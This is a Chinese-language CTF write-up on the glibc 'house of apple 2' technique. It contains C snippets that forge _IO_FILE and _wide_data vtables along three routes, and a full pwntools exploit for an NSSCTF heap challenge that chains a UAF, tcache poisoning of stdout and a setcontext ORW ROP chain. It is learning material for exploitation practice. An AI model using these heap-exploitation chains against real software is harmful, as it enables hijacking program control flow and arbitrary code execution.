house of apple 2

伪造_IO_FILE结构体,伪造vtable控制程序执行流。但_IO_FILEtable存在合法性检查,即取值只能为已有的几个虚表指针,因此直接伪造_IO_FILE结构体中的vtable为目的地址往往无法通过合法性检查。

_IO_FILE中存在指向_IO_wide_data结构体的指针,这个结构体专门用于处理宽字符。_IO_wide_data结构与_IO_FILE类似,也存在vtable不过此处的vtable没有合法性检查,因此可以把此处的vtable为造成需要执行的目标地址,即可实现跳转

因此,实现house of apple 2需要三块堆来实现攻击

  1. fake _IO_FILE
  2. fake _IO_wide_data
  3. fake _wide_vtable

不过部分题目能申请到足够大的堆也可以把这三个合并到一个堆来进行构造,只要满足攻击条件即可

下面三种路线均可实现,但只推荐第一种。后面两种所需的vtable无符号不方便寻找

_IO_wfile_overflow路线

_IO_wfile_jumps、_IO_wfile_jumps_mmap、_IO_wfile_jumps_maybe_mmap虚表指针均会去调用_IO_wfile_overflow

下为_IO_wfile_overflow攻击路线

  • FILE->mode = 0 (_IO_flush_all_lockp 控制流判断条件)
  • FILE->_IO_write_ptr > FILE->_IO_write_base (_IO_flush_all_lockp 控制流判断条件)
  • FILE->_flags & 0x8 == 0 (_IO_wfile_overflow 控制流判断条件,注意_flags在FILE结构体最开头,与binsh字符串重合,因此不能直接写’/bin/sh’,本程序写入的是’ sh’)
  • FILE->_flags & 0x800 == 0 (_IO_wfile_overflow 控制流判断条件)
  • FILE->_wode_data->_IO_write_base == 0 (_IO_wfile_overflow 控制流判断条件,_IO_write_base偏移0x18)
  • FILE->_wide_data->_IO_buf_base == 0 (_IO_wdoallocbuf 控制流判断条件)
  • FILE->_flags & 2 != 0 (_IO_wdoallocbuf 控制流判断条件)
  • FILE->_wide_data->_wide_vtable + 0x68 == 要执行的代码地址 (ALLOCATE函数指针偏移0x68)

c语言伪造实现

1
2
3
4
5
6
7
8
9
10
11
fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x2160C0; // vtable, 0x215F40, 0x216000
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x18 / 8] = 0;
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

这里有几点说明

  • _IO_wfile_overflow并不是在某些函数中特定调用的而是把_wide_vtable设置成_IO_wfile_jumps、_IO_wfile_jumps_mmap、_IO_wfile_jumps_maybe_mmap其一后调用标准库函数会自动去调用
  • house of apple2攻击需要标准库的函数对伪造的FILE结构体进行操作,syscall的系统调用无法完成攻击
  • FILE->vtable 即 FILE+0xD8
  • FILE->_wide_data即FILE+0xA0
  • _wide_data->_wide_table即 _wide_data+0xE0
  • FILE->mode=0 时,程序会去处理宽字符,即调用_wide_data,当作宽字符处理数据,之后就可以去调用_wide_data相关内容
  • 结构体不是必须从heap中伪造,如果能申请到stdin,stdout,stderr等也可进行伪造。例如puts等输出函数会去调用stdout的虚表。或利用largebin attack,unsortedbin attack等去修改_IO_list_all使其指向伪造的FILE,之后通过exit的_IO_flush_all_lockp去调用伪造的FILE的vtable
  • 跳转到目标地址时
    • rdi: FILE->flags 这里如果调用的是system,就不能用/bin/sh了不然无法绕过检查,这里flags的参数可以是 " sh"带两个空格即可绕过检查
    • rdx: FILE->_wide_data 这里_wide_data+0xa0可以结合setcontext + 61来控制栈进而执行gadget

如图,调用目标地址时rdi和rdx如下,stdout为FILE

1

2

函数调用栈

1
2
3
4
5
► 0   0x7f8eb9e83b9b _IO_wdoallocbuf+43
1 0x7f8eb9e865f5 _IO_wfile_overflow+613
2 0x7f8eb9e8398f _IO_wdefault_xsputn+95
3 0x7f8eb9e868a9 _IO_wfile_xsputn+105
4 0x7f8eb9e80f1c puts+204

_IO_wfile_underflow_mmap路线

_IO_wfile_jumps_mmap会调用_IO_wfile_underflow_mmap

  • FILE->mode = 0 (_IO_flush_all_lockp 控制流判断条件)
  • FILE->_IO_write_ptr > FILE->_IO_write_base (_IO_flush_all_lockp 控制流判断条件)
  • FILE->_flag & 4 == 0 (_IO_wfile_underflow_mmap 控制流判断条件)
  • FILE->_wide_data->_IO_read_ptr >= FILE->_wide_data->_IO_read_end (_IO_wfile_underflow_mmap 控制流判断条件)
  • FILE->_IO_read_ptr < FILE->_IO_read_end (_IO_wfile_underflow_mmap 控制流判断条件)
  • FILE->_wide_data->_IO_buf_base == NULL (_IO_wfile_underflow_mmap 控制流判断条件)
  • FILE->_wide_data->_IO_save_base == NULL (_IO_wfile_underflow_mmap 控制流判断条件)
  • FILE->_wide_data->_IO_buf_base == 0 (_IO_wdoallocbuf 控制流判断条件)
  • FILE->_flags & 2 != 0 (_IO_wdoallocbuf 控制流判断条件)
  • FILE->_wide_data->_wide_vtable + 0x68 == 要执行的代码地址 (ALLOCATE函数指针偏移0x68)

c语言伪造实现

1
2
3
4
5
6
7
8
9
10
11
fake_FILE->_mode = 0;
fake_FILE->_IO_write_ptr = (char*)1;
fake_FILE->_IO_write_base = (char*)0;
fake_FILE->_IO_read_end = (char*)1;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x216000; // vtable
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
fake_vtable[0x68 / 8] = (size_t)system; // _IO_WDOALLOCATE调用的函数指针,偏移量可通过查看汇编获取
strcpy((char*)fake_FILE, binsh);
*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

_IO_wdefault_xsgetn 路线

_IO_helper_jumps,_IO_wmem_jumps,_IO_wstr_jumps,_IO_wstrn_jumps均可调用_IO_wdefault_xsgetn

  • FILE->mode > 0 (_IO_flush_all_lockp 控制流判断条件,__wunderflow 控制流判断条件)
  • FILE->_wide_data->_IO_write_ptr > FILE->_wide_data->_IO_write_base (_IO_flush_all_lockp 控制流判断条件,_IO_switch_to_wget_mode 控制流判断条件)
  • rdx != 0 (_IO_wdefault_xsgetn 控制流判断条件)
  • FILE->_wide_data->_IO_read_end - FILE->_wide_data->_IO_read_ptr <= 0 (_IO_wdefault_xsgetn 控制流判断条件)
  • FILE->_flags & 0x800 != 0 (__wunderflow 控制流判断条件)
  • FILE->_wide_data->_wide_vtable + 0x18 == 要执行的代码地址 (OVERFLOW函数指针偏移0x18)

c语言伪造实现

1
2
3
4
5
6
7
8
9
10
fake_FILE->_mode = 1;
fake_FILE->_wide_data = fake_wide_data;
((size_t*)fake_FILE)[0xD8 / 8] = libc_base + 0x215AC0 + 0x28; // vtable
((size_t*)fake_FILE->_wide_data)[0xE0 / 8] = (size_t)fake_vtable; // _wide_data->_wide_vtable
((size_t*)fake_FILE->_wide_data)[0x20 / 8] = 1; // _wide_data->_IO_write_ptr, o+0x20
fake_vtable[0x18 / 8] = (size_t)system; // _IO_WOVERFLOW调用的函数指针
strcpy((char*)fake_FILE, binsh2); // sh => 0x6873, 0x6873 & 0x800 != 0

*(_IO_list_all) = (size_t)fake_FILE;
exit(0);

相关结构体源码

_IO_FILE

去掉了#if不满足的部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
/usr/include/bits/types/struct_FILE.h
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */

/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */

/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
int _flags2:24;
/* Fallback buffer to use when malloc fails to allocate one. */
char _short_backupbuf[1];
__off_t _old_offset; /* This used to be _offset but it's too small. */

/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

_IO_lock_t *_lock;
__off64_t _offset;
/* Wide character stream stuff. */
struct _IO_codecvt *_codecvt;
struct _IO_wide_data *_wide_data;
struct _IO_FILE *_freeres_list;
void *_freeres_buf;
struct _IO_FILE **_prevchain;
int _mode;
#if __WORDSIZE == 64
int _unused3;
#endif
__uint64_t _total_written;
#endif
/* Make sure we don't get into trouble again. */
char _unused2[12 * sizeof (int) - 5 * sizeof (void *)];
};

_IO_wide_data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
glibc libio/libio.h 
/* Extra data for wide character streams. */
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};

IO_FILE_plus

1
2
3
4
5
6
glibc libio/libioP.h
struct _IO_FILE_plus
{
FILE file; /* typedef struct _IO_FILE FILE; */
const struct _IO_jump_t *vtable;
};

IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
glibc libio/libioP.h
#define JUMP_FIELD(TYPE, NAME) TYPE NAME
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};


实例

题目来源:[NSSRound#18 Basic]cut_🍎

分析

  • libc2.35 bin需key异或,无hook

  • UAF

  • 沙箱白名单,ORW

  • add仅能申请0x78,0xe8两种大小,每个大小的堆限制申请4次

  • add,delete,show,edit四功能齐全

  • show限制两次

利用UAF泄露heapbase和key,并申请到heap header,修改tcache的数量,free相关chunk进入unsortedbin泄露libc

泄露libc后再次利用UAF申请到stdout,伪造stdout,调用puts实现攻击从而getshell

exp

这里用的_IO_wfile_overflow的路线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
#setarch $(uname -m) -R python3 exp.py
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['ghostty','-e']
r = process('./pwn')
libc = ELF('./libc.so.6')
#r=remote('node9.anna.nssctf.cn',25742)#libc 2.35 0 3.7
s = lambda content : r.send(content)
sl = lambda content : r.sendline(content)
sa = lambda content,send : r.sendafter(content, send)
sla = lambda content,send : r.sendlineafter(content, send)
rc = lambda number : r.recv(number)
ru = lambda content : r.recvuntil(content)
#=================================================================================
def add(size):#120 232
sa("user@ubuntu:~$ ",p64(297))
sa("big or small:",p64(size))
def edit(size,idx,data):
sa("user@ubuntu:~$ ",p64(422))
sa(":",p64(size))
sa("idx: ",p64(idx))
sa("text",data)
def show(size,idx):
sa("user@ubuntu:~$ ",p64(449))
sa(":",p64(size))
sa("idx: ",p64(idx))

def free(size,idx):
sa("user@ubuntu:~$ ",p64(223))
sa(":",p64(size))
sa("idx: ",p64(idx))

# gdb.attach(r,'b *$rebase(0x1970)')

add(232)#0
add(120)#0
add(120)#1
free(1,0)
free(1,1)
show(1,0)
ru("Loading...\n")
key = u64(rc(5).ljust(8,b'\x00'))# - (0x560c311efb2e - 0x5609518be000)
heap_base=key<<12
log.success("key:"+hex(key))
log.success("heap base:"+hex(heap_base))
edit(1,1,p64((heap_base+0x10)^key))
add(120)#2 fake_wide_data
add(120)#3 heap head

#free(2,0)
#edit big chunk tachae nums
edit(1,3,p64(0)*3+p64(0x0000000000070000))
free(2,0)#big chunk enter unsorted bin
show(2,0)
ru("Loading...\n")
libc_base = u64(rc(6).ljust(8,b'\x00')) - (0x7fe859219ce0 - 0x7fe859000000) - 0x1000
log.success("libc_base:"+hex(libc_base))

#gdb.attach(r,'b *$rebase(0x1970)')
edit(1,3,p64(0)*3+p32(0)[1:]+b'\x00')

add(0xe8) #1
add(0xe8) #2

free(2,1)
free(2,2)

libc.address = libc_base
setcontext = libc.sym['setcontext']
sys__ = libc.sym['system']
_IO_list_all = libc.sym['_IO_list_all']
_IO_2_1_stdout = libc.sym['_IO_2_1_stdout_']
_IO_wfile_jumps = libc.sym['_IO_wfile_jumps']
read = libc.sym['read']
write = libc.sym['write']
open_ = libc.sym['open']
#0x000000000002a3e5 : pop rdi ; ret
#0x000000000002be51 : pop rsi ; ret
#0x00000000000904a8 : pop rax ; pop rdx ; pop rbx ; ret
#0x0000000000029db4 : syscall
#0x0000000000029139 : ret
ret=libc_base + 0x0000000000029139
rdi=libc_base + 0x000000000002a3e5
rsi=libc_base + 0x000000000002be51
rax_rdx=libc_base + 0x00000000000904a8
libc_rop = ROP(libc)
syscall = libc_rop.find_gadget(['syscall','ret'])[0]
orw1_end_address=0x56211d772450 - 0x56211d772000 + heap_base

orw1 = p64(rdi) + p64(0) + p64(rsi) + p64(orw1_end_address) + p64(rax_rdx) + p64(0x100)*3
orw1 += p64(read)+p64(ret)

orw2= b"./flag".ljust(8,b'\x00') + p64(rdi)+p64(orw1_end_address)+p64(rsi)+p64(0)+p64(rax_rdx)+p64(2)+p64(0)*2+p64(syscall)
orw2+= p64(rdi)+p64(3)+p64(rsi)+p64(heap_base+0x100)+p64(rax_rdx)+p64(0x100)*3+p64(read)
orw2+= p64(rdi)+p64(1)+p64(rsi)+p64(heap_base+0x100)+p64(rax_rdx)+p64(0x100)*3+p64(write)



edit(2,2,p64(key ^ (_IO_2_1_stdout))) # fake chunk overlap _IO_list_all
#@gdb.attach(io)
add(0xe8) #3
add(0xe8) #4 stdout

fake_wide_data_add = heap_base + (0x55e3a68af2a0 - 0x55e3a68af000)
fake_vtable = heap_base + (0x5624cba78410 - 0x5624cba78000)


fake_wide_data = p64(0x5604fd975410 - 0x5604fd975000 + heap_base)#rdx+0xa0 = orw1
fake_wide_data += p64(ret)#rcx
fake_wide_data = fake_wide_data.ljust(0x40,b'\x00') + p64(fake_vtable)


edit(2,1,fake_wide_data)#wide_data
#edit(1,1,b'\x00'*0x68 + p64(sys__))#vtable
edit(1,1,b'\x00'*0x68 + p64(setcontext + 61))#vtable


fake_IO = (p64(0) + p64(0)*4+p64(1)+p64(0)).ljust(0x88,b'\x00')+p64(heap_base+0x30)# puts r8 readable
fake_IO = fake_IO.ljust(0xa0,b'\x00')+p64(fake_wide_data_add - 0xa0)
fake_IO = fake_IO.ljust(0xd8,b'\x00') + p64(_IO_wfile_jumps)
edit(2,4,fake_IO)
edit(1,2,orw1)


'''fake IO_FILE
0x558b11664490 0x0000000068732020 0x0000000000000000 sh............
0x558b116644a0 0x0000000000000000 0x0000000000000000 ................
0x558b116644b0 0x0000000000000000 0x0000000000000001 ................
0x558b116644c0 0x0000000000000000 0x0000000000000000 ................
0x558b116644d0 0x0000000000000000 0x0000000000000000 ................
0x558b116644e0 0x0000000000000000 0x0000000000000000 ................
0x558b116644f0 0x0000000000000000 0x0000000000000000 ................
0x558b11664500 0x0000000000000000 0x0000000000000000 ................
0x558b11664510 0x0000000000000000 0x0000000000000000 ................
0x558b11664520 0x0000000000000000 0x0000000000000000 ................
0x558b11664530 0x0000558b116641c0 0x0000000000000000 .Af..U..........
0x558b11664540 0x0000000000000000 0x0000000000000000 ................
0x558b11664550 0x0000000000000000 0x0000000000000000 ................
0x558b11664560 0x0000000000000000 0x00007f08050170c0 .........p......
'''

pause()
#gdb.attach(r,'b puts')
s(p64(1734960756))
pause()
sl(orw2)

r.interactive()

reference

house of apple v2 示例程序

[NSSRound#18 Basic]cut_🍎

setcontext + orw旧版本参考

glibc源码阅读